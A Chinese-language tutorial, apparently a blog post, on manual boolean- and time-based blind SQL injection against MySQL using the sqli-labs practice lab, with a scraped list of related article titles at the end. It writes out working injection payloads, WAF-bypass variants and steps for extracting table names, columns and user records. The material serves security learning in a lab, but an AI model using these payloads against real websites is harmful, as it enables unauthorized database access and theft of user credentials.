一 . 可以查看有几个数据库

命令如下

' and (select count(*) from information_schema.schemata limit 0,1)=6 --+

证明有6个数据库。

二 . 查数据库名长度

大于7 回显正常

大于8 回显不正常

我们可以确定数据库名长度为8

三 . 猜库名

(1)使用left()方法去猜解库名

Database=’security’

绕WAF:

zzy/Less-5/?id=1/*&id=1' and (substr(database(),1,1)='e')--+*/

(2)使用extractvalue函数或updatexml函数报错处理

绕WAF:

Less-5/?id=1%27%20%20and%20`updatexml`/**/(1,concat(char(32,58,32),/*!11144database*/(/**/)),1)--+

所有库:

(2) 二分法  逐字猜解

猜有几个表 命令如下:

' and (select count(*) from information_schema.tables where table_schema='security')=4--+

发现security库下有四张表

我们用substr方法去一个表一个表的进行猜解

猜第一张表,命令如下:

' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+

上图中1表示security库中第一行的表的第一个字符的ascii码大于100  回显正确

在图中2  这里简单举个例子关于substr()函数

Substr(a,b,c) 是在a中从第b个位置找, c表示找几个

这里1,1表示第一个字符

注:当a等于0或1时,都是从第一位开始截取

第一个字符ascii码是101 对应查表是e

第二个字符ascii码是109 对应查表是m

如法炮制 我们得到了第一行的表名为emails

接下来我们猜第二张表

命令如下:

' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>100 --+

确定第一个字符ascii码为114  是r

确定第二个字符是e

这样一个表一个表进行猜解

最终得到security库下四个表为 emails,referers,uagents,users

绕WAF:

(2)二分法

我们发现有个表名叫users很有可能就是保存敏感数据的地方 我们对users进行猜解字段

先猜有几个字段

' and (select count(*) from information_schema.columns where table_name='users')=3--+

发现有三个字段

跟前面一样 我们用substr方法逐字猜解,这里可用 ord(mid(语句)) 结果是一样的

命令如下:

' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+

得到第一个字段的第一个字符为i

这样一直猜下去 得到三个字段分别为id  username  password

绕WAF:

如法炮制 可以一直猜解下去

那么问题来了 到底有多少个username 多少个用户呢

命令为:' and (select count(*) from security.users)=13 --+

回显正常  说明有13行  13个用户

慢慢猜把

附加
一、基于布尔的盲注:
1.判断是否存在注入,注入是字符型还是数字型,例:1 or 1=1,1’ or ‘1’='1
2.猜解当前数据库名,例:猜长度 and length(database())=1 #,逐个猜字符and ascii(substr(databse(),1,1))>97#
3.猜解数据库中的表名,例:猜表数量  and (select count (table_name) from information_schema.tables where table_schema=database())=1 #,逐个猜表名长度and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,再逐个猜表名字符 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
4.猜解表中的字段名,例:猜字段数量and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #,逐个猜字段长度and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #,再逐个猜字段字符(可用二分法)
5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)

二、基于时间的盲注(对于没有任何输出可作为判断依据的可采用此法,感觉到明显延迟,则说明猜中):
1.判断是否存在注入,注入是字符型还是数字型,例:and sleep(5) #
2.猜解当前数据库名,例:猜长度 and if(length(database())=1,sleep(5),1) # ,逐个猜字符 and if(ascii(substr(database(),1,1))>97,sleep(5),1)
3.猜解数据库中的表名,例:猜表数量 and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#,逐个猜表名长度 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1),再逐个猜表名字符 
4.猜解表中的字段名,例:猜字段数量 and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)#,逐个猜字段长度 and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # ,再逐个猜字段字符(可用二分法)
5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)

mysql手工注入——盲注相关推荐

  1. 05_SQL注入_功能语句报错注入盲注

    05_SQL注入_功能语句&报错回显&盲注 1. SQL 语句和网站功能 1.1 Web开发中常见语句 [本章代码来源于pikachu和sqli-lab中的靶场] 开发中,根据不同的需 ...

  2. SQL注入第二章节MYSQL手工注入

    SQL注入第二章节MYSQL手工注入 2.1 SQL注入之sqli-labs环境搭建 一.SQLi-Labs是什么? SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景,包含 ...

  3. mysql手工注入imformation_SQL 注入总结

    0x01 什么是SQL注入 sql注入就是一种通过操作输入来修改后台操作语句达到执行恶意sql语句来进行攻击的技术. 0x02 SQL注入的分类 按变量类型分 数字型 字符型 按HTTP提交方式分 G ...

  4. mysql 4.0手工注入_手工注入——MySQL手工注入实战和分析

    前言 今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 查 ...

  5. mysql报错注入实战_手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  6. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  7. mysql基于时间盲注_MYSQL基于时间的盲注详解

    MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...

  8. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  9. mysql手工注入imformation_网络安全系列之十八 MySQL基本操作(PHP注入基础)

    在之前的博文中曾介绍过如何对ASP网站进行手工注入,ASP网站大都是采用ACCESS或MSSQL数据库,因而所谓针对ASP的SQL注入其实也就是根据ACCESS或MSSQL数据库的特点来构造查询语句. ...

最新文章

  1. BASIC-23_蓝桥杯_芯片测试
  2. 要尝试着多跟外界交流
  3. codeblocks运行结果输出的对话框字体太小的问题
  4. lstm数学推导_如何在训练LSTM的同时训练词向量?
  5. mysql快速随机_MySQL随机取数据最高效的方法
  6. LeetCode 第 25 场双周赛(718/1832,前39.2%)
  7. 遇到oracle错误1012,跟着感觉走,解决安装RAC过程中OCR完整性错误,待深入剖析...
  8. 因使用盗版软件赔偿 869 万元 :CIO被开除、罚 15 万元
  9. 项目:艺龙国内机票实时数据爬虫
  10. # 【CrackMe】0-爆破之Acid burn
  11. java instrument_JAVA Instrument技术实战以及在QTrace中的应用
  12. Blender - Proportional Edit Mode - 按比例编辑模式(3D版的液化、挤压工具)
  13. 员工出错处罚通知_员工处罚通知书范文.doc
  14. 流行和声(4)Major7和弦
  15. UI网页设计制作思路
  16. python读取oracle数据库中文乱码_PL/SQL连接Oracle数据库,中文乱码,显示问号
  17. Illustrator 2023 Mac(Ai2023)v27.0中文版已发布,支持M1/M2/intel Mac处理器
  18. 百度地图实现公司位置的定位,可拖动修改公司位置。
  19. 几款主流好用的富文本编辑器(所见即所得常用编辑器)介绍
  20. 程序员掉头发的原因找到了 | 每日趣闻

热门文章

  1. ubuntu安装postman
  2. RMAN SET NEWNAME
  3. 久坐的危害和解决方式
  4. 如何查看linux系统的体系结构
  5. 【网络安全学习笔记1】防火墙分类以及各自优缺点
  6. C# GDI+ 画坐标(x,y)
  7. 20180429 xlVBA套打单据自适应列宽
  8. 注意1:图像插值理论的理解
  9. springmvc过滤器简单实例
  10. mysql 用户管理和权限设置